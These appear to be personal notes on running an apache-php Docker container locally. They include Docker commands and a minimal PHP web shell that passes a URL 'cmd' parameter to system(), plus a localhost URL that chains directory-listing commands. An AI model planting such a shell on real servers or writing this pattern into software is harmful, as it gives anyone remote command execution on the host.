php and docker

https://hub.docker.com/r/eboraas/apache-php/

php apache

docker run -p 80:80 -p 443:443 -v //home/szalek/dev/php:/var/www/html/ -d eboraas/apache-php
docker ps
docker stop xxxxxxxxxxx

shell

docker ps
docker exec -d xxxxxxxxxxx touch /tmp/execWorks
docker exec -it xxxxxxxxxxx bash
<?php 
	if(isset($_GET['cmd'])) {
		echo "<pre>";
		system($_GET['cmd']);
		echo "</pre>";
	}else{
		echo "lol";
	}
?>

http://localhost/cmd.php?cmd=pwd;cd%20..;pwd;cd%20..;pwd;ls;cd%20log;pwd;ls